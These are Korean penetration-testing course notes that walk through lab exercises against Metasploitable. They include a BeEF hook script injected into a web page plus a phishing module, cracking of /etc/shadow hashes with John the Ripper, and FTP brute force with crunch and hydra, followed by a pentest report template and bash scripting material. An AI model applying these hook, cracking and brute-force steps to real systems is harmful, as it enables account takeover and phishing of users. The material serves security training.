● (첫번째) Non-persistent(Reflected XSS)이메일, 메신저, 게시판 링크 기능등을 이용해 사용자를 유도하고, 사용자가 이를 클릭했을 경우 액션이 발생된다. 하지만 웹사이트에 저장이 되어 있지 않기 때문에 사용자들을 유도하려면 사용자의 클릭이 필요하다.
● (두번째) Persistent(Stored XSS) 게시판 작성자, 제목, 내용 부분등 공격자가 삽입할 수 있는 모든 부분에 스크립트를 삽입해 사용자를 유도하는 공격 기법이다. 보통 웹사이트(데이터베이스에 저장)에 남아 있기 때문에 많은 사용자들을 쉽게 유도할 수 있다.


Exploitation Tools
 > BeFF XSS Framework
  > beff

or

# beef-xss

 

# beef-xss

[*] Please wait as BeEF services are started.
[*] You might need to refresh your browser once it opens.
process already running.


beef-xss 명령어를 수행하면 웹페이지가 자동으로 뜨게 된다.

 


 (http://127.0.0.1:3000/ui/authentication)
 ID : beef
 PASS: beef

① 접근할 페이지 임의로 생성
# service apache2 restart

[ ok ] Restarting web server: apache2 ... waiting .


# cd /var/www
# rm -rf /var/www/*
# vi index.html

<HTML>
<BODY>
<CENTER><H1> It works! </H1></CENTER>
<script src="http://192.168.20.50:3000/hook.js"></script>
<P>This is the default web page for this server.</P>
<P>The Web Server software is running but no content has been added, yet.</P>
</BODY>
</HTML>

-> <script> .... </script> 구문을 삽입한다.
-> 클라이언트에서 해당 페이지를 읽을 때 hook.js가 실행된다.


(windows 7)
Mozilla Firefox 브라우저를 사용한다.
http://192.168.20.50
-> 페이지를 확인한다.

 (주의) Chrome Broswer/Firefox 통해 확인, '인터넷익스플러워'는 잘되지 않는다.
       
-> 클라이언트에서는 hook.js 파일이 실행 되었는지는 모른다.

<F11><F12>


(Kali Linux)
왼쪽 Hooked Browsers 메뉴을 확인하면 사용자의 IP 정보가 보인다.

왼쪽 Hooked Browsers 에서 192.168.20.202 선택한다.
오른쪽 commands 항목 중 Module Tree 선택하고
 Social Engineering 선택하고
  Google Phishing 선택하고
   Execute 버튼 클릭한다.

(windows7)
변경된 웹페이지를 확인한다.

 

 

 


[실습] 칼리 리눅스 사용하기

 패스워드 크랙(Crack)
 - 오프라인(Offline) 암호 크랙 = 로컬(Local) 암호 크랙 (EX: John The Ripper)
 - 온라인(Online) 암호 크랙    = 원격(Remote) 암호 크랙(EX: hydra)

● 오프라인(Offline) 패스워드 크랙(Crack)하기
● John The Ripper 툴을 사용해 보자

존더리퍼(John The Ripper) 실행하는 방법
 Password Attacks > Offline Attacks > john

 or

 # john


[실습] Offline password crack(Local Password Crack)

사용시스템
- KaliLinux
- Metasploitable V2 Server

(Kali Linux)
# cat /etc/passwd | grep --color root

root:x:0:0:root:/root:/bin/bash


 ■ /etc/passwd 파일에 대한 해석
 root  사용자 이름
 :x  place holder
 :0  UID(User ID)
 :0  GID(Group ID)
 :root  Comment
 :/root  Home Directory
 :/bin/bash Login Shell
 # ls -l /etc/passwd /etc/shadow
 -rw-r--r-- 1 root root   2172 10월  2 19:21 /etc/passwd
 -rw-r----- 1 root shadow 1448 10월 15 14:59 /etc/shadow

# cat /etc/shadow | grep --color root

root:$6$WEVVa8qf$Q9ERxWghMVy/KNq3xK9Ge7P.6dDpow0G8kT62W3DIcnCMC7ZOpX.i/SOuW0GHqPiN8YH1qfgOXoShMvsgORYb.:16258:0:99999:7:::


 ■ /etc/shadow 파일에 대한 해석
 root  사용자 이름(User Name)
 :$6$WEVVa8qf$Q9ERxWghMVy/KNq3xK9Ge7.....qfgOXoShMvsgORYb.
   Password($암호화알고리즘$salt key$암호화된 암호)
 :16258  Password Aging(Last Change) : 암호가 변경된 날짜(기준 1970.1.1)
 :0  - (Min Change) : 암호를 변경할 수 없는 기간(EX: 7)
 :99999  - (Max Change) : 암호를 사용할 수 있는 최대 날짜(EX: 30)
 :7  - (WAN Date)   : 경고 메세지를 출력하는 기간(EX: 7)
 :  - (Inactive)   : 비활성화 기간(EX: 7)
 :  - (Expire Data): 암호를 사용할 수 있는 최대 날짜(EX: 2014.12.31)
 :  - (Reserved)   :

 

# ls -l /etc/passwd /etc/shadow

-rw-r--r-- 1 root root   2213  7월 22 17:15 /etc/passwd
-rw-r----- 1 root shadow 1573  7월 22 17:15 /etc/shadow


# john

John the Ripper password cracker, ver: 1.7.9-jumbo-7_omp [linux-x86-sse2]
Copyright (c) 1996-2012 by Solar Designer and others
Homepage: http://www.openwall.com/john/

Usage: john [OPTIONS] [PASSWORD-FILES]
--config=FILE             use FILE instead of john.conf or john.ini
--single[=SECTION]        "single crack" mode
--wordlist[=FILE] --stdin wordlist mode, read words from FILE or stdin
                  --pipe  like --stdin, but bulk reads, and allows rules
--loopback[=FILE]         like --wordlist, but fetch words from a .pot file
--dupe-suppression        suppress all dupes in wordlist (and force preload)
--encoding=NAME           input data is non-ascii (eg. UTF-8, ISO-8859-1).
                          For a full list of NAME use --list=encodings
--rules[=SECTION]         enable word mangling rules for wordlist modes
--incremental[=MODE]      "incremental" mode [using section MODE]
--markov[=OPTIONS]        "Markov" mode (see doc/MARKOV)
--external=MODE           external mode or word filter
--stdout[=LENGTH]         just output candidate passwords [cut at LENGTH]
--restore[=NAME]          restore an interrupted session [called NAME]
--session=NAME            give a new session the NAME
--status[=NAME]           print status of a session [called NAME]
--make-charset=FILE       make a charset file. It will be overwritten
--show[=LEFT]             show cracked passwords [if =LEFT, then uncracked]
--test[=TIME]             run tests and benchmarks for TIME seconds each
--users=[-]LOGIN|UID[,..] [do not] load this (these) user(s) only
--groups=[-]GID[,..]      load users [not] of this (these) group(s) only
--shells=[-]SHELL[,..]    load users with[out] this (these) shell(s) only
--salts=[-]COUNT[:MAX]    load salts with[out] COUNT [to MAX] hashes
--pot=NAME                pot file to use
--format=NAME             force hash type NAME: afs bf bfegg bsdi crc32 crypt
                          des django dmd5 dominosec dragonfly3-32 dragonfly3-64
                          dragonfly4-32 dragonfly4-64 drupal7 dummy dynamic_n
                          epi episerver gost hdaa hmac-md5 hmac-sha1
                          hmac-sha224 hmac-sha256 hmac-sha384 hmac-sha512
                          hmailserver ipb2 keepass keychain krb4 krb5 lm lotus5
                          md4-gen md5 md5ns mediawiki mscash mscash2 mschapv2
                          mskrb5 mssql mssql05 mysql mysql-sha1 nethalflm netlm
                          netlmv2 netntlm netntlmv2 nsldap nt nt2 odf office
                          oracle oracle11 osc pdf phpass phps pix-md5 pkzip po
                          pwsafe racf rar raw-md4 raw-md5 raw-md5u raw-sha
                          raw-sha1 raw-sha1-linkedin raw-sha1-ng raw-sha224
                          raw-sha256 raw-sha384 raw-sha512 salted-sha1 sapb
                          sapg sha1-gen sha256crypt sha512crypt sip ssh
                          sybasease trip vnc wbb3 wpapsk xsha xsha512 zip
--list=WHAT               list capabilities, see --list=help or doc/OPTIONS
--save-memory=LEVEL       enable memory saving, at LEVEL 1..3
--mem-file-size=SIZE      size threshold for wordlist preload (default 5 MB)
--nolog                   disables creation and writing to john.log file
--crack-status            emit a status line whenever a password is cracked
--max-run-time=N          gracefully exit after this many seconds
--regen-lost-salts=N      regenerate lost salts (see doc/OPTIONS)
--plugin=NAME[,..]        load this (these) dynamic plugin(s)


 [참고] 사용자 추가하는 방법
 (CentOS) # useradd user01 ; passwd user01
 (Debian) # useradd -m -s /bin/bash user01 ; passwd user01
  -m : make directory
  -s : shell
# useradd -m -s /bin/bash user01
# passwd user01

새 UNIX 암호 입력: (user01)
새 UNIX 암호 재입력: (user01)
passwd: 암호를 성공적으로 업데이트했습니다


# useradd -m -s /bin/bash hacker
# passwd hacker

새 UNIX 암호 입력: (h4ckEr1.)
새 UNIX 암호 재입력: (h4ckEr1.)
passwd: 암호를 성공적으로 업데이트했습니다


 hacker -> h4ckEr1.  (hacker1.)
 A -> 4
 0 -> 0
 l -> 1

# cd /root/bin
# unshadow /etc/passwd /etc/shadow > passwd.txt
# vi passwd.txt

root:$6$WEVVa8qf$Q9ERxWghMVy/KNq3xK9Ge7P.6dDpow0G8kT62W3DIcnCMC7ZOpX.i/SOuW0GHqPiN8YH1qfgOXoShMvsgORYb.:0:0:root:/root:/bin/bash
user01:$6$imj7YGai$xuWGmzdiO6wL3isEmuY4u8x0zMvmVykX0zevARtUPdlFiIu.wWg8kvvUiEvadJxkguQLCdYW1LBtz79nYMH0h.:1000:1001::/home/user01:/bin/sh

-> root 사용자와 user01 사용자를 제외한 모든 사용자의 정보를 삭제한다.
-> hacker 사용자에 대해서는 다른 파일을 하나더 만들어서 테스트하고 시간을 측정한다.

# john passwd.txt

Created directory: /root/.john
Warning: detected hash type "sha512crypt", but the string is also recognized as "crypt"
Use the "--format=crypt" option to force loading these as that type instead
Loaded 2 password hashes with 2 different salts (sha512crypt [32/32])
toor             (root)
user01           (user01)
guesses: 2  time: 0:00:00:00 DONE (Tue Jul 22 16:41:27 2014)  c/s: 29.62  trying: user01 - toor
Use the "--show" option to display all of the cracked passwords reliably


 ■ 강력한 암호를 사용하는 방법
 - 암호의 길이는 8글자 이상
 - 문자(소문자/대문자)
 - 숫자
 - 특수기호(EX: $)
 - 공백

[실습] hacker 사용자의 암호 크랙 실습
● 추가적인 실습으로 진행한다.

 

[과제] john the ripper 툴은 윈도우용 툴도 존재한다.
● 윈도우 용도로 되어 있는 툴을 사용해 본다.
 # johnny

[과제] john the ripper 툴을 통해 dictionary file(user/password)를 통해 테스트 해 본다.

 

[과제] su 명령어를 사용하는 su crack 툴을 제작해 보자.
● 인터넷을 검색해 보자.
● (예) sucrack 툴
● (예) expect () && expect CMD + ssh CMD


[실습] 칼리 리눅스 사용하기
● 온라인(Online) 패스워드 크랙(Crack)하기
● xhydra(hydra-gtk), hydra 툴을 사용해 보자


xhydra 프로그램 실행하는 방법
 Password Attacks > ONline Attacks > hydra-gtk (hydra)

 or

 # hydra


[실습] Online password crack(Remote password crack)

사용시스템
- KaliLinux (Attacker)
- Metasploitable V2 Server (Victim)

# nmap -sV -O -F 192.168.10.134     /* Metasploitable V2 Linux IP : 192.168.10.134 */

Starting Nmap 6.46 ( http://nmap.org ) at 2014-07-22 17:25 KST
Nmap scan report for 192.168.10.134
Host is up (0.00053s latency).
Not shown: 82 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
513/tcp  open  login?
514/tcp  open  tcpwrapped
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
MAC Address: 00:0C:29:FA:DD:2A (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Host:  metasploitable.localdomain; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.95 seconds


 [참고] hydra
 # hydra -l mfsadmin -P <암호 사전 파일> <타켓> <프로토콜>
 or
 # xhydra

# xhydra
-> 생성된 사전 파일을 가지고 작업한다.
-> 사전 파일을 생성하고 크랙하는 과정은 아래 [참고] 내용을 확인한다.

[참고] Kali Linux 서버에서 사전파일을 생성하고 FTP 통해 user1 사용자의 패스워드를 크랙한다.

(Metasploitable V2 Linux)
● 서버에서 아이디/패스가 쉬운 사용자(EX: user1)를 만든다.

 (RedHat 계열) # useradd user1 ; passwd user1
 (Debian 계열) # useradd -m -s /bin/bash user1 ; passwd user1

$ sudo useradd -m -s /bin/bash user1   (/etc/sudoers)
$ sudo passwd user1

Enter new UNIX password: user1
Retype new UNIX password: user1
passwd: password updated successfully

-> user1 사용자의 암호를 user1으로 설정한다.

$ cat /etc/passwd | grep --color user1

user1:x:1003:1003::/home/user1:/bin/bash


$ sudo cat /etc/shadow | grep --color user1

user1:$1$C/z.wtw5$9xIpcoOi03LF5IS.CrzYw/:16401:0:99999:7:::


$ ftp localhost 21

Connected to localhost.
220 (vsFTPd 2.3.4)
Name (localhost:msfadmin): user1
331 Please specify the password.
Password: user1
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> quit
221 Goodbye.


$


(Kali Linux)
● xhydra 프로그램에서 사용할 사전 파일을 생성한다.

# cd /root/bin

 # crunch --help
 crunch version 3.6

 Crunch can create a wordlist based on criteria you specify.  The outout from crunch
 can be sent to the screen, file, or to another program.

 Usage: crunch <min> <max> [options]
 where min and max are numbers

 Please refer to the man page for instructions and examples on how to use crunch.
 # crunch 1 3
 # crunch 1 3 klz
 # crunch 1 3 klz > wordlist.txt

# crunch 1 5 user1 > user.list

Crunch will now generate the following amount of data: 22460 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 3905

# cat user.list

..... (중략) .....
111re
111rr
111r1
1111u
1111s
1111e
1111r
11111


# grep --color user1 user.list

user1


# xhydra      /* 이전에 실행한 툴 */
Target 탭:
 Single Target : 192.168.10.134
 Port : 21
 Protocol : ftp
 Output Options:
  [ v ] Be Verbose
  [ v ] Debug
Password 탭:
 Username
  [ v ] Username : user1
 Password
  [ v ] Passwd list : /root/bin/user.list
Start 탭:
 하단에 있는 "Start" 선택
 (참고) xhydra 툴의 가장 하단의 명령어 확인

 (주의) /root/bin/user.list 파일 직접 편집
 # vi /root/bin/user.list
 상단 부분에 "user1" 입력
 user1 입력후 뒤에 부분은 모두 삭제한다.(dG)

(Metasploitable V2)
$ sudo cat /var/log/vsftpd.log ($ sudo tail -f /var/log/vsftpd.log)

..... (중략) ....
Wed Nov 26 20:10:39 2014 [pid 5981] [user1] FAIL LOGIN: Client "192.168.10.50"
Wed Nov 26 20:10:39 2014 [pid 5991] [user1] FAIL LOGIN: Client "192.168.10.50"
Wed Nov 26 20:10:39 2014 [pid 5985] [user1] FAIL LOGIN: Client "192.168.10.50"
Wed Nov 26 20:10:39 2014 [pid 5983] [user1] FAIL LOGIN: Client "192.168.10.50"
Wed Nov 26 20:10:39 2014 [pid 5993] [user1] FAIL LOGIN: Client "192.168.10.50"
Wed Nov 26 20:10:39 2014 [pid 5996] CONNECT: Client "192.168.10.50"
Wed Nov 26 20:10:39 2014 [pid 5998] CONNECT: Client "192.168.10.50"
Wed Nov 26 20:10:39 2014 [pid 6000] CONNECT: Client "192.168.10.50"
Wed Nov 26 20:10:39 2014 [pid 6002] CONNECT: Client "192.168.10.50"
Wed Nov 26 20:10:39 2014 [pid 6004] CONNECT: Client "192.168.10.50"
Wed Nov 26 20:10:39 2014 [pid 6006] CONNECT: Client "192.168.10.50"
Wed Nov 26 20:10:39 2014 [pid 6008] CONNECT: Client "192.168.10.50"
Wed Nov 26 20:10:39 2014 [pid 6010] CONNECT: Client "192.168.10.50"
Wed Nov 26 20:10:39 2014 [pid 6012] CONNECT: Client "192.168.10.50"
Wed Nov 26 20:10:40 2014 [pid 5989] [user1] OK LOGIN: Client "192.168.10.50"
Wed Nov 26 20:10:41 2014 [pid 5995] [user1] FAIL LOGIN: Client "192.168.10.50"
Wed Nov 26 20:10:41 2014 [pid 5997] [user1] FAIL LOGIN: Client "192.168.10.50"
Wed Nov 26 20:10:41 2014 [pid 5999] [user1] FAIL LOGIN: Client "192.168.10.50"
Wed Nov 26 20:10:41 2014 [pid 6001] [user1] FAIL LOGIN: Client "192.168.10.50"
Wed Nov 26 20:10:41 2014 [pid 6003] [user1] FAIL LOGIN: Client "192.168.10.50"
Wed Nov 26 20:10:41 2014 [pid 6007] [user1] FAIL LOGIN: Client "192.168.10.50"
Wed Nov 26 20:10:41 2014 [pid 6005] [user1] FAIL LOGIN: Client "192.168.10.50"
Wed Nov 26 20:10:41 2014 [pid 6009] [user1] FAIL LOGIN: Client "192.168.10.50"
Wed Nov 26 20:10:41 2014 [pid 6011] [user1] FAIL LOGIN: Client "192.168.10.50"
Wed Nov 26 20:10:42 2014 [pid 5987] [user1] FAIL LOGIN: Client "192.168.10.50"


$ sudo cat /var/log/auth.log

..... (중략) .....
Nov 26 20:09:58 metasploitable vsftpd: pam_unix(ftp:auth): authentication failure; logname= uid=0 euid=0 tty=ftp ruser=user1 rhost=192.168.10.50  user=user1
Nov 26 20:10:29 metasploitable last message repeated 160 times
Nov 26 20:10:39 metasploitable last message repeated 57 times
Nov 26 20:10:56 metasploitable sshd[6014]: Accepted password for msfadmin from 192.168.10.50 port 54028 ssh2
Nov 26 20:10:56 metasploitable sshd[6016]: pam_unix(sshd:session): session opened for user msfadmin by (uid=0)
Nov 26 20:11:05 metasploitable sudo: msfadmin : TTY=pts/1 ; PWD=/home/msfadmin ; USER=root ; COMMAND=/bin/cat /var/log/vsftpd.log
Nov 26 20:11:05 metasploitable sudo: pam_unix(sudo:session): session opened for user root by msfadmin(uid=0)
Nov 26 20:11:05 metasploitable sudo: pam_unix(sudo:session): session closed for user root
Nov 26 20:13:14 metasploitable sudo: msfadmin : TTY=pts/1 ; PWD=/home/msfadmin ; USER=root ; COMMAND=/bin/cat /var/log/auth.log

[과제] 사전 파일을 모으자.
● 인터넷을 통해 사전 파일을 모아보자.

[예제1]
<사전파일1> : Oracle Database 10gR2
<사전파일2> : Oracle Database 11gR2
<사전파일3> : Oracle Database 12c
.....
# cat (사전파일1) (사전파일2) (사전파일3) > (새로운 사전파일)
EX) # cat file1 file2 file3 > file4

[예제2]
<기본암호 사전파일>
<인터넷상에서 구한 사전파일>
# cat (기본암호 사전파일) (인터넷상에서 구한 사전파일) > (새로운 사전파일)
EX) # cat file1 file2 > file3

[예제3]
<인터넷상에서 구한 사전파일1>
<인터넷상에서 구한 사전파일2>
# cat (사전파일1) (사전파일2) | sort -u > (새로운 사전파일)
EX) # cat file1 file2 | sort -u > file3

 

[실습] 사전 파일 만들기 예제

사용 시스템
- KaliLinux

# mkdir -p /test && cd /test
# rm -rf /test/*

# echo 1111 > passwd1.txt
# echo 2222 > passwd2.txt
# echo 3333 > passwd3.txt

# cat passwd1.txt passwd2.txt passwd3.txt
# cat passwd1.txt passwd2.txt passwd3.txt > result.txt
# cat result.txt

# cat passwd3.txt passwd1.txt > result.txt
# cat result.txt

# vi passwd1.txt

1111
2222
3333
4444


# vi passwd2.txt

6666
3333
1111
7777


# vi passwd3.txt

3333
22
7777
1010


# cat passwd1.txt passwd2.txt passwd3.txt | sort -u > result.txt
# cat result.txt
보고서 제출 단계

보고서 작성시
● 첫번째장에는 프로젝트를 수행한 개요와 목적이 들어간다.(EX: 모의해킹의 정의등)
● 수행한 일정과 멤버에 대해 정확하게 제시를 해줘야 한다.(EX: 프로젝트 수행 진단자(컨설턴트))
● 수행대상/수행한 장소에 대해 표기한다.(EX: 00서비스외 #개)
● 수행방법론에 대해 표기한다.(EX: 모의침투에 전반적인 수행 방법론)
● 보고서안에는 컨설팅업체 자신들만의 방법론을 기재하면 더욱 돋보인다.(EX: 차별화된 보고서)


발표자료와 보고서
● 발표자료와 보고서는 구분하여 작성하여야 한다.


[실습] (샘플)보고서를 보고 발표자료를 어떤식으로 만들지를 논의해 보자.

중간/최종 보고서
발표자료
■ 프로젝트 개요
■ 프로젝트 목적

■ 모의 해킹 : 2013년 2월 일(월) ~ 2월 일(금)
■ 투입 인원 : 1M/M
■ 모의 해킹 일정

2월10일(월)
2월11일(화)
2월12일(수)
2월13일(목)
2월14일(금)
환경분석
외부모의해킹
외부모의해킹
외부모의해킹
중간보고서
2월17일(월)
2월18일(화)
2월19일(수)
2월20일(목)
2월21일(금)
환경분석
내부모의해킹
내부모의해킹
내부모의해킹
최종보고서

담당자
수행범위
연락처
홍길동
외부/내부 모의해킹
000-0000-0000
이순신
무선 네트워크 진단
000-0000-0000

 

수행단계
설명
정보 수집
대상에 대한 서버/네트워크/서비스에 대한 불필요한 서비스 접근 가능성, 외부에서 파악할 수 있는 정보를 수집하는 단계
취약점 수집
네트워크 구간별로 적합한 취약점 스캔도구를 이용하여 발생 할 수 있는 취약점에 대한 정보를 수집하는 단계(단, 네트워크 장비/서비스에 장애를 유발할 수 있는 경우는 제외)
침투 단계
취약점 수집 단계를 통해 획득한 정보를 기반으로 수동 점검을 통해 내부 시스템까지 침투할 가능성이 있는 시나리오 기반으로 접근하는 단계
상세 분석
취약점이 도출됐을 경우 공격에 의해 보안 위협이 시스템과 비지니스 측면에서 어느 정도의 영향을 줄 수 있는지 분석하는 단계
보고서 작성
도출된 취약점에 대한 총평/영향도/상세분석/보안 가이드가 포함된 보고서를 작성하는 단계


■ 보고서(시나리오 작성과 점검 항목)
■ 보고서(총평/요약/상세 내역)

 

 


[참고] 동영상 녹화 프로그램 종류
동영상 녹화 프로그램 종류
● recordMyDesktop
● gtk-recordMyDesktop
● qt-recordMyDesktop

프로그램 > 시스템 도구 > 소프트웨어 추가/삭제
   > 검색 부분에 'recordmydesktop' 입력한다.
     -> 출력결과: gtk-recordmydesktop-0.3.8.-4.1

프로그램 > 음악과 비디오 > recordMyDesktop 실행
or
# gtk-recordmydesktop

 

# gtk-recordmydesktop
-> 사운드 품질 부분에는 체크를 제거한다. 에러나면 캡쳐가 되지 않는다.
-> 녹음/녹화 시작
-> 오른쪽 상단에 녹음/녹화 종료를 선택한다. 인코딩 작업이 진행된다.
-> 다른 이름으로 저장하기 선택(적당한 위치 선택(EX: /root/Desktop))
-> 끝내기 선택

out.ovg 파일을 out.avi 파일로 편환하기
# apt-get install mencoder
# mencoder -idx out.ogv -ovc lavc -o out.avi

       -idx (also see -forceidx)
              Rebuilds index of files if no index was found, allowing seek‐
              ing.  Useful with broken/incomplete downloads, or badly  cre‐
              ated files.
              NOTE: This option only works if the underlying media supports
              seeking (i.e. not with stdin, pipe, etc).

       -ovc <codec name>
              Encode with the given video codec (no default set).
              NOTE: Use -ovc help to get a list of available video codecs.

              EXAMPLE:
                 -ovc copy
                      no encoding, just streamcopy
                 -ovc raw
                      Encode  to an arbitrary uncompressed format (use '-vf
                      format' to select).
                 -ovc lavc
                      Encode with a libavcodec codec.
       -o <filename>
              Outputs to the given filename.
              If you want a default output filename, you can put  this  op‐
              tion in the MEncoder config file.

 

 

 

 

 

 

================================================강의/실습================================================

 

배시 쉘스크립트 과정을 위한 실습 환경 구축

 

0. 사용시스템
- linux200(bash 쉘 사용)

 

1. 네트워크 설정 계획(Y: 강의장 번호, 2XX: 자리번호)


이전 네트워크 설정
새로운 네트워크 설정
 네트워크 타입
NAT
Bridge
IP
192.168.20.200/255.255.255.0
172.16.Y.2XX/255.255.0.0
Hostname
linux200.example.com
linux2XX.example.com
Gateway
192.168.20.100
172.16.0.1
DNS
192.168.20.200/168.126.63.1
168.126.63.1


 1강의장 자리배치도(EX: 솔데스크 1강의장)
 ==========================================
 200 201 202 203  204 205 206 207
 208 209 210 211  212 213 214 215
 216 217 218 219   220 221 222 223
     224 225 226  227 228 229
 ==========================================

 10강의장 자리배치도(EX: 솔데스크 10강의장)
 ==========================================
 200 201 202 203  204 205 206 207
 208 209 210  211 212 213 214
 215 216 217   218 219 220
 221 222 223  224 225 226 227
 ==========================================

 6강의장 자리배치도(EX: 솔데스크 6강의장)
 ==========================================
     200 201 202   203 204 205
 206 207 208 209   210 211 212 213
 214 215 216 217   218 219 220 221
 222 223 224 225   226 227 228 229
 ==========================================

 

 

1. 네트워크 설정 작업

 [참고] 네트워크 설정 툴의 종류
 # export LANG=C (# export LANG=en_US.UTF-8)
 (TUI) # system-config-network-tui  (# setup)
 (GUI) # system-config-network-gui  (# neat)

 [참고] 서비스 설정 툴의 종류
 (TUI) # ntsysv    (# setup)
 (CLI) # chkconfig httpd on
 (GUI) # system-config-services  (# serviceconf)

(1). 네트워크 대역 설정

 VMware > VM > Settings > Network adapter > Bridge(NAT -> Bridge)


(2). /etc/hosts 파일 설정

# vi /etc/hosts

# Do not remove the following line, or various programs
# that require network functionality will fail.
127.0.0.1               localhost.localdomain localhost
::1             localhost6.localdomain6 localhost6
#192.168.20.200   linux200.example.com       linux200
172.16.Y.2XX linux2XX.example.com linux2XX /* 2XX : 강의장 자리번호 */
.... (중략) ....

 

(3). 네트워크 설정
# export LANG=en_US.UTF8  (# export LANG=C)
# setup
-------------------------------------------
Hostname : linux2XX.example.com
IP  : 172.16.Y.2XX/255.255.0.0
Defaulrouter : 172.16.0.1
DNS  : 168.126.63.1
-------------------------------------------
# service network restart

# hostname

linux2XX.example.com


# ifconfig eth0

eth0      Link encap:Ethernet  HWaddr 00:0C:29:E0:2C:6F 
          inet addr:172.16.Y.2XX  Bcast:172.16.255.255  Mask:255.255.0.0
          inet6 addr: fe80::20c:29ff:fee0:2c6f/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:12437 errors:0 dropped:0 overruns:0 frame:0
          TX packets:125 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:1190437 (1.1 MiB)  TX bytes:18108 (17.6 KiB)
          Interrupt:67 Base address:0x2024


# netstat -rn (# route -n)

Kernel IP routing table
Destination     Gateway         Genmask         Flags   MSS Window  irtt Iface
169.254.0.0     0.0.0.0         255.255.0.0     U         0 0          0 eth0
172.16.0.0      0.0.0.0         255.255.0.0     U         0 0          0 eth0
0.0.0.0         172.16.0.1      0.0.0.0         UG        0 0          0 eth0


# cat /etc/resolv.conf

search example.com
nameserver 168.126.63.1

 


(4). 네트워크 설정 확인

# ping -c 2 172.16.Y.249
# ping -c 2 168.126.63.1
# ping -c 2 www.yahoo.com

VMware > VM > Snapshot > 스냅샷이름: 2014_1022
    설명      : 프로그램 시작시

 

 

 

 

 

 

 

 

 

C:\Users\soldeskN\Desktop\JS\Security과정공유디렉토리(part1)\04_과정진행\03_프로그래밍_기초\01_ShellScriting\02_hwp_셀프로그래밍_2014_0729.hwp
C:\Users\soldeskN\Desktop\JS\Security과정공유디렉토리(part1)\04_과정진행\03_프로그래밍_기초\01_ShellScriting\03_정리_배시쉘 스크립트.hwp

 

 

배시(bash)쉘 스크립트

 

목표
● 프로그램에 대한 이해력(프로그램은 어려운것이 아니다!)
● 프로그램에 대한 문법(프로그램 작성시 문법에 대한 에러를 줄일수 있다면?)
● 스크립트 방식의 언어(bash shell script -> ruby -> C -> Network Programming)

쉘스크립트 작성시 선수지식
● (1st) 쉘스크립트 작성시 명령어(grep, sed, awk) + sort, uniq, head, tail, cut
● (2nd) 쉘의 특성(redirection, pipe, shell function, variable, metacharacter, alias, ...)

 

■ 배시(bash)쉘 기능
① Command-Line Interpreter - 쉘은 명령어 해석기의 역할을 가진다.
② Programming Language - 쉘의 특징을 이용하여 프로그램을 작성할 수 있다.

 


1
 쉘의 기능

 


쉘은 유닉스 운영체제의 핵심인 커널과 사용자 사이의 인터페이스를 제공해 준다. 커널은 운영체제의 핵심 부분으로서 운영체제가 기동되면 메모리상에 상주하고 시스템 전반을 관리한다. 커널은 프로세스의 생성과 제어, 메모리 관리, 파일시스템, 통신 등 다양한 일을 담당한다. 커널은 디스크에 존재하는 다양한 프로그램(예: 명령어, 스크립트)을 메모리상으로 불러 들어 실행하고 종표하면 메모리에서 제거한다.

쉘은 사용자가 로그인해서 사용하는 프로그램이다. 쉘은 명령행에서 입력되거나 스크립트 파일에서 읽어 들이는 명령어들을 해석함으로써 사용자와 커널이 서로 의사소통할 수 있도록 해준다.

쉘은 유닉스에서 (ㄱ)명령어 해석기의 역할과 (ㄴ)프로그램을 할수 있는 언어로서의 특징을 가지고 있다. 쉘은 사용자가 로그인하게 되면 실행되는 프로그램이다. 쉘은 명령행에서 사용자가 입력하는 명령어와 디스크 내부에 존재하는 스크립트 파일등을 해석함으로서, 사용자와 커널이 서로 통신할 수 있도록 한다.

사용자가 로그인하게 되면 대화형 쉘이 시작되면서 입력을 기다리게 되고 명령어를 입력하면, 쉘은 (ㄱ)명령행의 구문을 분석하고, (ㄴ)와일드 카드, 리다이렉션, 파이프, 작업 제어 등을 처리한다. 그리고 (ㄷ)명령어를 찾아보고, 존재하면 실행시킨다.

쉘의 중요한 특징이 2가지 있으며 쉘의 기능상의 특징을 다시 정리하면 다음과 같다.
① Command-Line Interpreter - 쉘은 명령어 해석기의 역할을 가진다.
② Programming Language - 쉘의 특징을 이용하여 프로그램을 작성할 수 있다.


User

User



user01, user02 .....
OS

Application

ls, find ......

shell

sh, csh, ksh, tcsh, zsh, bash ....

kernel

Solaris(unix, genunix)
H/W

H/W

CPU, Mem(RAM), Disk, I/O Device

 

[예제] 일반적인 명령어 입력
$ ls
$ pwd

위의 예제와 같이 명령어 프롬프트($)을 쉘 프롬프트($, #)라고도 부른다. 쉘은 쉘프롬프트 다음에 입력되는 사용자의 명령어를 기다리고 있다가 명령어가 입력되는 순간 토큰 단위(필드 단위)로 해석하여 커널에게 전달하고 커널은 적당한 하드웨어를 제어하여 사용자에게 출력하는 역할을 한다.

 

 

유닉스 시스템이 발전 하면서 쉘도 같이 발전하기 시작했다. 본쉘은 유닉스 시스템에서 콘쉘은 System V 계열에서 C 쉘은 BSD 계열에서 발전 되어 왔다.

● 초기 유닉스에 내장되었던 쉘은 본쉘(sh)이다.
● BSD 유닉스가 나오면서 내장되었던 쉘이 C쉘(csh)이다.
